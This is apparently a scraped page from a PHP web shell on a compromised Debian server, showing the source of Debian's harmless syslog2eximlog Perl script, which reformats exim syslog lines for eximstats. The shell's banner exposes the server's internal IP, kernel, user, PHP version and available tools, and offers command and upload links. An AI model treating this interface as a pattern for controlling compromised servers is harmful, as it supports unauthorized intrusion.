|
Server IP : 10.2.73.233 / Your IP : 216.73.216.223 Web Server : Apache/2.4.59 (Debian) System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : www-data ( 33) PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/../usr/lib/python3.7/concurrent/../../python3/../../sbin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
#!/usr/bin/perl -w
#
# Copyright (c) 2003 Martin A. Godisch for Debian GNU/Linux, GPL
=head1 NAME
syslog2eximlog - make syslog output suitable for eximstats
=head1 SYNOPSIS
B<syslog2eximlog> B<<> I<mail.log> B<|> B<eximstats>
=head1 DESCRIPTION
syslog2eximlog converts logfiles produced by syslog when using
B<log_file_path = syslog> in your I<exim.conf> back to exim
logfile format, suitable for B<eximstats>. B<syslog_timestamp>
may be B<true> or B<false>.
The program always succeeds, invalid lines will be ignored.
=head1 BUGS
Please report any bugs directly to the author.
=head1 AUTHOR
Martin A. Godisch <godisch@debian.org> for Debian GNU/Linux.
=head1 SEE ALSO
B<eximstats>(8)
=cut
my @date = localtime(time);
$date[4] += 1;
$date[5] += 1900;
my %names = (
"Jan", "01", "Feb", "02", "Mar", "03", "Apr", "04",
"May", "05", "Jun", "06", "Jul", "07", "Aug", "08",
"Sep", "09", "Oct", "10", "Nov", "11", "Dec", "12"
);
while (<>) {
next unless (s/^(\w{3})\s([\s\d]\d)\s(\d\d):(\d\d):(\d\d)\s\S+\sexim\[\d+\]:\s//);
my ($month, $day, $hour, $min, $sec) = ($names{$1}, $2, $3, $4, $5);
if (/^\d{4}-\d\d-\d\d\s\d\d:\d\d:\d\d\s/) {
print $_;
} else {
printf "%04d-%02d-%02d %02d:%02d:%02d %s",
# assume current year if month/day <= today, otherwise assume last year
$month > $date[4] || $month == $date[4] && $day > $date[3] ? $date[5] - 1 : $date[5],
$month, $day, $hour, $min, $sec, $_;
}
}
exit 0;